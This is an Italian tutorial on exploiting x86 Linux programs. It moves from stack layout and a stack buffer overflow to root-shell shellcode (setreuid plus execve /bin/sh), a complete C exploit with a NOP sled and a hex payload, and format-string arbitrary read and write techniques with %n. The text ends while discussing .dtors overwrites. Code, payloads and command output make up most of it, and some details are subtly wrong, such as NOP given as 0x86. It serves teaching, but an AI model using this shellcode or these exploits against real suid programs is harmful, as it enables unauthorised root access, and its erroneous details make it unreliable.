Pagina principale
Buffer Overflow
Un buffer è una serie continua di celle di memoria che contengono informazioni di uno stesso tipo ( numeri,caratteri, ecc ...). Overflow significa riempire oltre il limite, trabocare. Quindi un "Buffer Overflow" consiste nel mettere in un buffer più dati di quelli che questo possa contenere. Una vulnerabilità di questo tipo è causata da errori grossolani di programmazione, per l' appunto quando in fase di programmazione non si effettuano controlli sulle dimensioni dei dati.
Uno sguardo alla memoria
Prima di vedere come funziona realmente un buffer overflow diamo uno sguardo alle tre aree di memoria in cui è organizzato un processo.
--------- ---> INDIRIZZI ALTI DI MEMORIA | | | STACK | | | |---------| | | | DATA | | | |---------| | | | TEXT | | | --------- ---> INDIRIZZI BASSI DI MEMORIA
Nell' area DATA si possono distinguere due tipi di dati:
- Inizializzati
- Non inizializzati (BSS)
Una visione più dettagliata è la seguente:
-------------------- ---> INDIRIZZI DI MEMORIA ALTI | proc. kernel stack | |--------------------| | red zone | |--------------------| | user area | |--------------------| | struct ps_string | |--------------------| | signal code | |--------------------| \ | env strings | \ |--------------------| \ | argv strings | \ |--------------------| \ | env pointers | ---> ARGOMENTI PASSATI E |--------------------| / VARIABILI D' AMBIENTE | argv pointers | / |--------------------| / | argc | / |--------------------| / | STACK | ---> NEI PROCESSORI INTEL LO STACK | | | CRESCE VERSO IL BASSO | | | | v | | | | | | ^ | | | | | | | | HEAP | ---> E L' HEAP VERSO L' ALTO |--------------------| | BSS | ---> DATI NON INIZIALIZZATI |--------------------| | Init Data | ---> DATI INIZIALIZZATI |--------------------| | TEXT | -------------------- ---> INIDIRIZZI DI MEMORIA BASSI (verso 0x00000000)
Sostanzialmente lo stack è una pila (LIFO) gestita da due istruzioni assembly PUSH e POP. PUSH mette un dato in cima alla pila e POP preleva dalla cima l'ultimo dato che è stato pushato. Ad esempio:
mov a,10 mov b,20 push a push b pop a ;a=20 pop b ;b=10
Come si può vedere a e b si sono invertiti perchè i dati si sarebbero dovuti prelevare in ordine inverso rispetto al loro inserimento.
Funzionamento dello stack
Lo stack e usato per memorizzare le variabili locali delle funzioni e gli argomenti a loro passati.Vediamone il funzionamento. Nei processori INTEL il registro ESP è usato per puntare costantemente alla cima dello stack, mentre il registro EBP viene usato come Frame Pointer e quindi non cambia mai all' interno della stessa funzione. Quindi per referenziare una qualsiasi variabile locale o un qualsiasi argometo ad essa passato basta servirsi di un offset che indichi la distanza da EBP. Vediamo un esempio:
esempio1.c ************************************ void function(int a,int b,int c){ char buffer1[5]; char buffer2[10]; } void main(){ function(1,2,3); } ************************************
Se facciamo ora una sessione di debug vediamo che otteniamo:
pushl $3 pushl $2 pushl $1 call function
Come si vede, nel main, prima si mettoni i tre argomenti necessari alla funzione sullo stack e dopo di che si chiama la funzione. Vediamo ora cosa succede all' interno della funzione:
pushl %ebp movl %esp,%ebp subl $20,%esp
Questo è il così detto preludio di funzione:
- viene salvato il valore di ebp sullo stack in modo da poterci tornare una volta terminata la funzione
- il contenuto di esp viene copiato in ebp
- viene sottrato venti a esp
Perchè venti? Verebbe spontaneo pensare di sottrarre 15 in quanto la somma dei due buffer da 15, ma bisogna pensare in byte ed un array di 5 char in realtà occuperà 8 byte.Ecco percheè il 20. Possiamo ora analizzare lo stack dopo la chiamata di funzione:
MEMORIA BASSA MEMORIA ALTA [ buffer2 ][ buffer1 ][ fp ][ ret ][ a ][ b ][ c ]
Cos'è l' overflow
Vediamo finalmente cosa succede fisicamente quando si ha un buffer overflow. Consideriamo il seguente codice:
esempio2.c *********************************************** void funciont(char *str){ char buffer[16]; strcpy(buffer,str); } void main(){ int i; char large_string[256]; for(i=0;i<255;i++)large_string[i]='A'; function(large_string); } ***********************************************
In questo codice è presente un buffer overflow, infatti nella funzione, quando si uso lo strcpy() non è fatto nessun controllo sulla dimensione della stringa str passata come argomento. Quindi si sta cercando di copiare un' array di 255 elementi in uno di 16. Non appena si manderà in esecuzione questo codice si otterrà un: SEGMENTATION FAULT. Vediamo perchè:
buffer[16] fp ret [AAAAAAAAAAAAAAAA][AAAA][AAAA] .....
E' successo che stringa passata come argomento non potendo essere contenuta dentro buffer, è andata a sovrascrivere il Frame Pointer e anche il RET con AAAA che in esadecimale è 0x41414141. Il SEGMENTATION FAULT viene proprio da qui, infatti quando la funzione ritorna va a leggere nel RET il valore 0x41414141 che non è un indirizzo di memoria valido. Ma cosa succederebbe se invece di un indirizzo di memoria non valido nel RET si fosse trovato un indirizzo di memoria valido?
Alterare il flusso di esecuzione
Vediamo ora invece come sia possibile alterare il flusso di esecuzione del programma giocando con il RET.
esempio3.c ********************************************** void function(int a,int b,int c){ char buffer1[5]; char buffer2[10]; int *ret; ret=buffer1 + 12; //così ret contiene l' indirizzo di RET (*ret) +=8; //lo aumento di 8 byte per il salto ... } void main(){ int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ***********************************************
Se si fa bene attenzione, in questo codice, si sta cercando di far saltare al flusso del programma l' esecuzione dell' assegnazione x = 1. Infatti facendo una sessione di debug si può vedere che si è manipolato l' indirizzo di ritorno della funzione in modo da non farlo ritornare all' istruzione successiva a dove era avvenuta la chiamata, ma esattamente 8 byte più in là, giusto per saltare l' assegnamento.
Come si costruisce il buffer
Cerchiamo di capire cos'è uno shellcode e a cosa ci può servire. Abbiamo capito che in un programma passibile della vulnerabilità di cui si sta discutendo, è possibile modificare l' indirizzo di ritorno della funzione, a proprio piacimento. Naturalmente, come si è visto, l' indirizzo di ritorno deve essere un indirizzo valido se non si vuole ottenere un SEGMENTATION FAULT. A questo punto incomincia a prendere forma l' idea di redirigere il flusso del programma verso un codice eseguibile. Se si riesce a manomettere un programma suid root e a fargli eseguire uno shellcode ( un codice di shell ) allora ci si troverà ad avere una shell con privilegi di root.
Lo shellcode ( bytecode ) è un pezzo di codice autonomo, progettato in modo astuto ed iniettato nel buffer in questione. Quindi basterà far saltare l' indirizzo di ritorno di cui si parlava prima, all' indirizzo del buffer per far eseguire lo shellcode. Una nota importante da fare è che tutto questo è possibile perchè in sistemi quali Linux o Windows ed in molti altri, lo stack è eseguibile, quindi se vi si mette una seguenza di istruzioni, questà verrà eseguita.
Fatta questa precisazione, vediamo come possiamo impostare il problema, cosa che è più facile a dirsi che a farsi.
Infatti un primo problema che bisogna considerare è che il bytecode che andiamo a scrivere, non deve contenere byte nulli, altrimenti questi verrano interpretati dalla funzione strcpy() come un fine stringa.
un altro problema riguarda l' indirizzo di ritorno che deve essere noto, e questo non è molto facile visto che lo stack cambia in modo dinamico. Per risolvere quest' ultimo problema si ricorre a due tecniche. La prima è la così detta "NOP sled", con la quale si riempe la prima parte del buffer di istruzioni NOP ( 0x86 ), un istruzione che non fà assolutamente nulla, se non incrementare l' EIP alla prossima istruzione, che sarà un altro NOP fino ad arrivare allo shellcode. Quindi in questo modo si aumentano le possibilità di indovinare
l' indirizzo dello shellcode. L' altra tecnica e quella di riempire la fine del buffer con una serie di istanze contigue dell' indirizzo di ritorno, in questo modo purchè uno di questi indirizzi sovrascriva l' indirizzo di ritorno reale, si avrà l' effetto desiderato. Di solito si usano entrambe queste tecniche, quindi il buffer da noi artefatto dovrà avere la seguente forma:
------------------------------------------------------------------- | NOP Sled | Shellcode | Indirizzo di ritorno ripetuto | -------------------------------------------------------------------
Comunque anche utilizzando entrambe queste tecniche, occorre conoscere approssimativamente la posizione del buffer nella memoria per indovinare l' indirizzo di ritorno corretto.
Scrittura del bytecode
Cercheremo ora di spiegare come si scrive un bytecode, ovvero come detto in un precedenza un pezzo di codice autonomo. Linux, mette a disposizione del programmatore una serie di funzioni facilmente eseguibili dall' assembly. Esse sono note come System Call e vengono innescate mediante interrupt. In /usr/include/asm/unistd.h è presente il listato delle syscall enumerate. Utilizzando un paio di istruzioni assembly e queste syscall è possibile scriver pezzi di bytecode che assolvono a svariate funzioni. Il primo esempio che si riporta e la scrittura di un bytecode che scriva a video "HELLO" e poi termini. Si capisce che per scrivere un programma del genere abbiamo bisogno di due sole chiamate sistema: write() e exit(). write() ci servirà per scrivere a video la stringa "HELLO" e exit() invece per far terminare il programma in maniera ortodossa. Quando si effetua una chiamata di sistema in linguaggio assembly i registri EAX, EBX, ECX, EDX si utilizzano per mettervi gli argomenti della syscall e per stabilire quale funzione deve essere richiamata, dopo di che si utilizza uno speciale interrupt ( 0x80 ) per dire al kernel di utilizzare quella particolare funzione.
Nel caso specifico della write(), EAX viene usato per desiganre la funzione, EBX per il primo parametro, ECX per il secondo e EDX per il terzo. Vediamo il codice assembly:
esempio4.asm ******************************************************************** section .data msg db "HELLO" section .text global _start _start: ;write() call mov eax, 4 ; numero della syscall mov ebx, 1 ; stdout per avere l' out sul terminale mov ecx, msg ; inserimento della stringa mov edx, 13 ; dimensione della stringa int 0x80 ; richiamo del kernel per fare avvenire ; la chiamata ;exit() call mov eax, 1 ; numero della syscall mov ebx, 0 int 0x80 *********************************************************************
Questo programma può essere assemblato e linkato in modo da creare un binario eseguibile.
$ nasm -f elf esempio4.asm $ ld esempio4.o $ ./a.out HELLO
Vediamo come possiamo sfruttare tutto questo per i nostri scopi, cioè in sostanza cerchiamo di scrivere in assembly un codice che esegua il comando /bin/sh ( una shell ). Per fare questo ci servono due chiamate di sistema: execve() e setreuid(). La prima ci serve per mandare in esecuzione la shell, mentre la seconda ci serve perchè molti programmi suid root annullano i privilegi di root ogni volta che possono ( per motivi di sicurezza ), se questi privileggi non vengono ripristinati si otterra una shell utente normale. Ma passiamo al codice:
esempio5.asm ************************************************************************ section .data path db "/bin/shXAAAABBBB" section .text global _start _start: ;setreuid(uid_t ruid, uid_t euid) mov eax, 70 ; 70 è il numero della chiamata setreuid mov ebx, 0 ; 0 per impostare il real uid su root mov ecx, 0 ; 0 per impostare l' effettivo uid su root int 0x80 ;excve(const char *filename,char *const argv[],char *const envp[]) mov eax, 0 ; azzero eax mov ebx, path ; inserisco l' indirizzo della stringa in ebx mov [ebx+7], al ; inserisco 0 dopo /bin/sh ( in 'X' ) mov [ebx+8], ebx ; inserimento dell' indirizzo della stringa ; da ebx nel punto in cui AAAA si trova nella ; stringa mov [ebx+12], eax ; inseromento di un indirizzo null ( 4 byte ) ; nel punto in cui BBBB si trova nella stringa mov eax, 11 ; 11 è il numero della chiamata execve() lea ecx, [ebx+8] ; carico in ecx l' indirizzo del punto in cui ; AAAA si trova nella stringa lea edx, [ebx+12] ; carico in edx l' indirizzo del punto in cui ; BBBB si trova nella stringa int 0x80 *************************************************************************
Il codice è abbastanza commentato. Qualche parola in più è doverosa sull' uso della stringa /bin/shXAAAABBBB. Infatti questo è un artificio che si usa in quanto gli ultimi due argomenti di execve() sono puntatori di puntatori. Cioè l' argomento dev' essere l' indirizzo di un indirizzo contenente l' informazione finale. Detto questo compiliamo il codice:
$ nasm -f elf esempio5.asm $ ld esempio.o $ ./a.out sh-2.05a$ exit exit $ sudo chown root a.out $ sudo chmod +s a.out $ ./a.out sh-2.05a#
Ha funzionato!
Shellcode completo
Purtroppo il codice esempio5.asm è ben lungi dall' essere uno shellcode appropriato. Infatti questa soluzione andrebbe bene se si stesse scrivendo un programma standalone, ma noi vogliamo un codice che possa essere iniettato in programma funzionante. La nostra stringa non deve essere memorizzata nel segmemto dati. Occore immagazzinare la stringa proveniente dal segmento dati assieme al resto delle istruzione assembly e trovare un modo per scoprire l' indirizzo di questa stringa. Non bisogna dimenticare il fatto che non possiamo sapere la posizione esatta del nostro shellcode in esecuzione in memoria. Per scoprire l' indirizzo possiamo service delle due istruzioni assembly JMP e CALL che possono utilizzare l' indirizzamento relativo. Così usere una CALL per spostare l' EIP in una certa posizione di memoria e quindi salvare l' indirizzo di ritorno sullo stack, se l' istruzione successiva alla CALL è una stringa l' indirizzo di ritorno potrà essere utilizzato per far riferimento alla stringa. In pratica si fa questo: All' inizio del programma si fa saltare ( JMP ) alla parte inferiore del codice dove si trovano una CALL e la stringa. L' indirizzo della stringa viene salvata sullo stack quando viene eseguita la CALL. La CALL fa saltare l' esecuzione un po indietro in una posizione relativa appena dopo l' istruzione di salto precedente ( la JMP ) e l' indirizzo della stringa puo così essere recuperato.
In pseudo assembly:
jmp fine: inizio: pop ebx fine: call inizio db 'stringa'
Vediamo come viene modificato il codice esempio5.asm con gli accorgimenti di cui si è discusso:
esempio6.asm ********************************************************************** BITS 32 ;setreuid(uid_t ruid, uid_t euid) mov eax, 70 mov ebx, 0 mov ecx, 0 int 0x80 jmp short fine: inizio: pop ebx ; viene recuperato l' indirizzo di ; ritorno dello stack, per inserire ; l' indirizzo della stringa in ebx ;execve(const char *filename, char *const argv[],char *const envp[]) mov eax, 0 mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov eax, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 fine: call inizio db '/bin/shXAAAABBBB' **********************************************************************
L' ultimo problema da risolvere per quanto rigurada lo shellcode è la rimozione dei "byte null". Infatti, è necessario, che nel nostro bytecode non sia presente alcun byte nullo, perchè altrimenti lo strcpy() del programma vulnerabile, interpreterebbe questo come un fine stringa. Sostanzialmente occorre un metodo per inserire il valore statico 0 in un registro, senza però utilizzare lo 0. Una prima soluzione è spostare un numero a 32 bit dentro un registro e successivamente sottrarlo da tale registro.
mov eax,0xaabbccdd sub eax,0xaabbccdd
Questa tecnica funziona, ma richiede il dobbio delle istruzioni, quindi non è molto consigliabile. Un' altra soluzione più efficiente che consente di azzerare un registro in una sola istruzione, è quella di utilizzare lo XOR esclusivo.
xor ebx, ebx ; 0 in ebx
lo xor di due valori uguali da sempre 0. Ora possiamo scrivere lo shellcode definitivo, aiutandoci con un editor esadecimale per modificare le istruzioni dove si presentano byte nulli:
esempio7.asm *********************************************************************** BIT 32 ;setreuid(uid_t ruid, uid_t euid) xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short fine: inizio: pop ebx ;execve(const char * filename, char *const argv[], char *const envp[]) xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 fine: call inizio db '/bin/shXAAAABBBB' **************************************************************************
Finalmente abbiamo ottenuto una shellcode degno di questo nome. Come ultima cosa bisogna solo riscriver il codice in C usando l' inline assembly:
esempio7.c ************************************************************************** <nowiki>#include <stdio.h><nowiki> int main(){ __asm__(" xor eax, eax mov al, 70 xor ebx, ebx xor ecx, ecx int 0x80 jmp short fine: inizio: pop ebx xor eax, eax mov [ebx+7], al mov [ebx+8], ebx mov [ebx+12], eax mov al, 11 lea ecx, [ebx+8] lea edx, [ebx+12] int 0x80 fine: call inizio db '/bin/shXAAAABBBB' ") } ***************************************************************************
e codificare il tutto in binario in modo da poterlo mettere nel nostro buffer. Pre fare questo possiamo utilizzare il gdb, per ottenere l' opcdoe di ogni istruzione.
$gdb esempio7 (gdb) x/xb main 0x31 (gdb) x/xb main+1 0xc0 (gdb) x/xb main+2 0xb0 . . .
Alla fine scriveremo il nostro shellcode in questo modo:
"\x31\xc0\xb0........................................."
Scrittura dell' exploit
A questo punto abbiamo tutto l' occorrente per scrivere un exploit. Supponiamo di avere il seguente programma vulnerabile:
vuln.c ************************************************************************ #include <stdio.h> int main(){ char buffer[500]; strcpy(buffer, argv[1]); return 0; } ************************************************************************
e scriviamo l' exploit:
exp.c ************************************************************************ #include <stdio.h> #include <stdlib.h> #include <string.h> //bytecode char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; //Indirizzo dello stack pointer unsigned long sp(void){ __asm__("movl %esp, %eax); } int main(int argc, char *argv[]){ int i,offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; printf("Stack pointer (ESP) : 0x%x\n", esp); printf(" Offset from ESP : 0x%x\n", offset); printf("Desired Return Addr : 0x%x\n", ret); //Allocazione di 600 byte per il buffer ( nell' heap ) buffer = malloc(600); //Riempimento dell' intero buffer con l' indirizzo di ritorno ptr = buffer; addr_ptr = (long *)ptr; for(i=0;i<600;i+=4) *(addr_ptr++) = ret; //Riempimento dei primi 200 byte con l' istruzione NOP for(i=0;i<200;i++) buffer[i] = '\x90'; //Inserimento dello Shellcode dopo il NOP Sled ptr = buffer + 200; for(i=0;i < strlen(shellcode);i++) *(ptr++) = shellcode[i]; //Fine della stringa buffer[600 - 1] = 0; //Ora si richiama il programma ./vuln con il buffer manipolato //come argomento execl("./vuln", "vuln", buffer, 0); //Si libera la memoria del buffer free(buffer); return 0; } ***************************************************************************
Compiliamo e mandiamo in esecuzione vuln.c e vediamo se funziona:
$ gcc -o exploit exploit.c $ ./exp Stack pointer (ESP) : 0xbffff978 Offset from ESP : 0x0 Desired Return Addr : 0xbffff978 sh-2.05a# whoami root sh-2.05a#
Apparentemente ha funzionato, però in generale occorre conoscere approssimamente la posizione del buffer nella memoria per indovinare l' indirizzo di ritorno corretto.
Format string overflow
I format string vengono usati da funzioni che prevedono la formattazione, come printf(). Ad esempio:
printf("La somma è: %d\n",somma);
In questo caso il format string è "La somma è %d\n", e printf stamperà questa stringa, ma quando incontrerà il parametro di formato %d effettuerà un operazione speciale: nello specifico stamperà l' argomento successivo come argomento decimale. Altri parametri di formato sono:
%u Decimale Unsigned %x Esadecimale %s Stringa %n Numero di byte scritti
Questi ultimi 2 ( %s %n ) a differenza degli altri si aspetta di ricevere un puntatore: %s riceve un indirizzo di memoria e stampa i dati trovati a tale indirizzo, mentre %n riceve un indirizzo di memoria e scrive in tale indirizzo il il numero di byte sinora scritti. Quindi la funzione printf() si aspetta che se ci sono due parametri di formato all' interno del format string, ci dovranno essere altri due argomenti oltre al format string. E' proprio questo il punto sul quale si basa questo tipo di vulnerabilità: cosa succede se ad esempio ci sono due argomenti e 3 parametri di formato nel format string?
Uno sguardo allo Stack
Prima di descrivere la vulnerabilità ed il modo di sfruttarla, vediamo come si presenta lo stack quando viene richiamata una printf() ad esempio del seguente tipo:
printf("L' intero A è %d B è %d e la loro somma è : %d\n",a,b,somma);
Avremo:
PARTE SUPERIORE DELLO STACK ------------------------------- | INDIRIZZO DEL FORMAT STRING | |-------------------------------| | VALORE DI a | |-------------------------------| | INDIRIZZO DI a | |-------------------------------| | VALORE DI b | |-------------------------------| | INDIRIZZO DI b | |-------------------------------| | VALORE DI somma | |-------------------------------| | INDIRIZZO DI somma | ------------------------------- PARTE INFERIORE DELLO STACK
Quindi nel caso mancasse un argomento, cioè se ci fosse un parametro in più rispetto agli argomenti presenti, la funzione di formato estrarrebbe dati dal punto in cui si sarebbe dovuto trovare l' argomento mancante.
Read
Analiziamo il problema considerando un programma che presenta questo tipo di vulnerabilità.
frm_vuln.c *********************************************** #include <stdio.h> ?> int main(int argc, char *argv[]){ static int test = -72; char buffer[64]; strcpy(buffer,argv[1]); printf(buffer); printf("\n"); printf("%x = %d %x\n",&test,test,test); exit(0); } ***********************************************
Compiliamo ed eseguiamo:
root@ska:~# gcc -o frm_vuln frm_vuln.c root@ska:~# ./frm_vuln AAAA AAAA 80496b4 = -72 ffffffb8
Vengono stampate le informazione di debug inserite nel programma, e apparentemente non sembra essere successo niente di anomalo. Proviamo ora a passare dalla riga di comando un parametro di formato:
root@ska:~# gcc -o frm_vuln frm_vuln.c root@ska:~# ./frm_vuln AAAA%x AAAAbffff9ee 80496b4 = -72 ffffffb8
Abbiamo ottenuto un indirizzo di memoria, perchè? Come detto sopra il format string ha letto l' indirizzo di memoria dove si aspettava di trovare l' argomento relativo al parametro di formato inserito dalla linea di comando. Quindi è possibile leggere lo stack, e quindi anche il format string ( visto che anche questo sta sullo stack ), infatti:
root@ska:~# gcc -o frm_vuln frm_vuln.c root@ska:~# ./frm_vuln AAAA%x.%x.%x.%x AAAAbffff9e5.40030285.40133ff4.41414141 <---- "AAAA" 80496b4 = -72 ffffffb8
Allora si potrebbe sfruttare il format string per fornire un indirizzo al parametro di formato %s e quindi leggere da indirizzi di memoria arbitrari. Per provare potremmo voler stampare una variabile d' ambiente. Costruiamoci quindi un programmino ad hoc per recuperne l' indirizzo.
getenvaddr.c **************************************************** #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char *addr; addr = getenv(argv[1]); printf("%s is located in: %p",argv[1],addr); return 0; } ***************************************************** root@ska:~# gcc -o getenvaddr getenvaddr.c root@ska:~# ./getenvaddr PATH PATH is located in: 0xbffffe81
All' indirizzo trovato bisogna aggiungere 4 in quando la lunghezza del programma frm_vuln è inferiore di 2 byte rispetto a getenvaddr ed inoltre bisogna invertire l' ordine dei byte a causa dell' ordinamento little- endian. Quindi:
root@ska:~# ./frm_vuln `printf "\x85\xfe\xff\xbf"`.%x.%x.%x%s þÿ¿bffff9e6.40030285.40133ff4/usr/local/sbin:/usr/sbin:/sbin:/usr/local /bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/usr/lib/java/bin:/usr/lib/ java/jre/bin:/usr/share/texmf/bin 80496b4 = -72 ffffffb8
Come si può vedere si è ottenuta la stringa all' indirizzo di memoria della variabile d' ambiente PATH, cioè siamo riusciti a leggere da un indirizzo arbitrario di memoria.
Write
Si è visto come sia possibile leggere da un indirizzo arbitrario di memoria. Ora vedremo invece come sfruttare la vulnerabilità per scrivere su un indirizzo arbitrario di memoria. Per fare questo bisogna introdurre un altro parametro di formato: %n. Con questo è possibile scrivere il numero di byte scritti. Ad esempio proviamo a scrivere sull' indirizzo della variabile test:
root@ska:~# ./frm_vuln AAAA AAAA 80496b4 = -72 ffffffb8
L' indirizzo della variabile test è: 0x080496b4
root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08"`%x.%x.%x%n bffff9e0.40030285.40133ff4 80496b4 = 30 1e
Siamo riusciti a scrivere sulla variabile test, ora al posto di -72, vale 30. Sfruttando ora la larghezza di campo dei parametri di formato facciamo un ancora una prova:
root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08"`%x.%x.%200x%n bffff9e3.40030285. 40133ff4 80496b4 = 222 de
Ora test vale 222. E' palese che si può controllare il byte meno significativo. Si inizia a intravedere la possibilità di creare un indirizzo arbitrario giocando sulla larghezza di campo, è necessario solo un pò di ragionamento e qualche piccolo calcolo. Vogliamo, come prima prova ad esempio, provare a scrivere l' indirizzo 0xddccbbaa. Visto che siamo in grado di controllare il byte meno significativo, possiamo scrivere un indirizzo completto con 4 operazioni di scritture in corrispondenza di indirizzi sequenziali di memoria. Cioè:
1) AA 00 00 00 0x080496b4 2) BB 00 00 00 0x080496b5 3) CC 00 00 00 0x080496b6 4) DD 00 00 00 0x080496b7
Partiamo dal primo:
root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08"`%x.%x.%x%n bffff9e0.40030285.40133ff4 80496b4 = 30 1e
Al 30 bisogna sottrare gli 8 byte che stampa come output l' ultimo parametro di formato %x:
30 - 8 = 22 (DEC) ---> (HEX) 16 AA - 16 = 94 (HEX) ---> (DEC) 148
Mettendo ora 148 come larghezza di campo dovremmo ottenere 0xAA come byte meno significativo:
root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08"`%x.%x.%148x%n bffff9e3.40030285. 40133ff4 80496b4 = 170 aa
Ok. Ora per la prossima operazione di scrittura occorre un altro argomento per un altro parametro di formato %x. Questa può essere una word di qualsiasi tipo purchè occupi una lunghezza di 4 byte. Ad esempio la word HACK. Insomma dobbiamo ottenere una situazione del tipo:
----------- ------- ----------- ------- ----------- ------- ----------- |b4|96|04|08|H|A|C|K|b5|96|04|08|H|A|C|K|b6|96|04|08|H|A|C|K|b7|96|04|08| ----------- ------- ----------- ------- ----------- ------- -----------
Ora però dobbiamo rifare i calcoli anche per la primo scrittura, in quanto è aumentato il numero di byte scritti. Ricominciamo:
root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK \xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%x%n HACKµ��HACK¶��HACK·��bffff9ce.40030285.40133ff4 80496b4 = 54 36 54 - 8 = 46 (DEC) ---> (HEX) 2E AA - 2A = 7C (HEX) ---> (DEC) 124 root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK \xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%124x%n HACKµ��HACK¶��HACK·��bffff9cb.40030285. 40133ff4 80496b4 = 170 aa
Scriviamo ora 0xBB
BB - AA = 11 (HEX) ---> (DEC) 17 root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK \xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%124x%n%17x%n HACKµ��HACK¶��HACK·��bffff9c5.40030285. 40133ff4 4b434148 80496b4 = 48042 bbaa
Continuiamo:
CC - BB = 11 (HEX) ---> (DEC) 17 root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK \xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%124x%n%17x%n%17x%n HACKµ��HACK¶��HACK·��bffff9bf.40030285. 40133ff4 4b434148 4b434148 80496b4 = 13417386 ccbbaa DD - CC = 11 (HEX) ---> (DEC) 17 root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08HACK\xb5\x96\x04\x08HACK \xb6\x96\x04\x08HACK\xb7\x96\x04\x08"`%x.%x.%124x%n%17x%n%17x%n%17x%n HACKµ��HACK¶��HACK·��bffff9b9.40030285. 40133ff4 4b434148 4b434148 4b434148 80496b4 = -573785174 ddccbbaa
Abbiamo ottenuto l' indirizzo desiderato. In questo caso siamo stati fortunati, perchè ogni byte che cercavamo di scrivere era sempre maggiore del precedente e quindi ottenevamo sempre un risultato positivo ( BB > AA ...). Naturalmente potrebbe accadere benissimo un indirizzo del tipo 0x0806cdef. In questo caso, nella seconda operazione di scrittura, andando a fare cd - ef otterremmo un risultato negativo, che non ci è utile, in quanto noi posiamo solo incrementare il contatore di byte per il parametro di formato %n. Allora in questo caso, si incrementa il byte meno significativo per ottenere 0x1CD e si fa la sottrazione:
1CD - EF = DE (HEX) ---> (DEC) 222
Detto ciò possiamo ottenere ora qualsiasi indirizzo che vogliamo, ed unendo la lettura e la scrittua rispettivamente da e su indirizzo arbitrario, si può far eseguire alla macchina codice arbitrario.
Accesso diretto ai parametri
Con l' accesso diretto ai parametri ($) si possono semplificare gli exploit, non preoccupandosi del fatto di inserire la word di 4 byte. Cioè $N%d consente di accede al parametro N e di visualizzarlo come intero.
Ad esempio:
printf("$7%d $3%d\n",11,22,33,44,55,66,77,88);
visualizzerà:
77 33
Quindi a questo punto se si volesse scrivere l' indirizzo considerato prima si dovrebbe procedere nel sequente modo:
root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08\xb5\x96\x04\x08\xb6\x96\x04\x08 \xb7\x04\x08"`%3\$x%4\$n 40133ff4 80496b4 = 24 18
"\" è necessario perchè il $ per non fare in terpretare alla shell il $ come carattere speciale. Ora bisogna solo rifare i calcoli come prima, e alla fine si ottiene:
root@ska:~# ./frm_vuln `printf "\xb4\x96\x04\x08\xb5\x96\x04\x08\xb6\x96\x04\x08 \xb7\x04\x08"`%3\$154x%4\$n%3\$17x%5\$n%3\$17x%6\$n%3\$17x%7\$n µ��¶��·�� 40133ff4 40133ff4 40133ff4 40133ff4 80496b4 = -573785174 ddccbbaa
Studio del DTORS
Nel formato dei binari ELF alla compilazione, vengono create due sezioni speciali .dtors e .ctors ( distruttori e costrutturi ). Le funzioni costruttori vengono eseguite prima dell' esecuzione del main, mentre le distruttori prima dell' uscita del programma dal main a seguito di una chiamata di sistema exit. Siamo interessati alla sezione .dtors. Se analizziamo questa sezione con objdump ci accorgiamo che questa sezione non è marcata a sola lettura, quindi se riuscissimo a sovrascrivere l' indirizzo del DTORS potremmo ridirezzionare il flusso del programma ed eseguire codice arbitrario.
./frm_vuln: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 08048114 08048114 00000114 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 08048128 08048128 00000128 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .hash 00000034 08048148 08048148 00000148 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .dynsym 00000080 0804817c 0804817c 0000017c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynstr 0000006c 080481fc 080481fc 000001fc 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .gnu.version 00000010 08048268 08048268 00000268 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version_r 00000020 08048278 08048278 00000278 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .rel.dyn 00000008 08048298 08048298 00000298 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.plt 00000020 080482a0 080482a0 000002a0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .init 00000017 080482c0 080482c0 000002c0 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 10 .plt 00000050 080482d8 080482d8 000002d8 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .text 00000240 08048330 08048330 00000330 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .fini 0000001b 08048570 08048570 00000570 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .rodata 0000001c 0804858c 0804858c 0000058c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 14 .eh_frame 00000004 080485a8 080485a8 000005a8 2**2 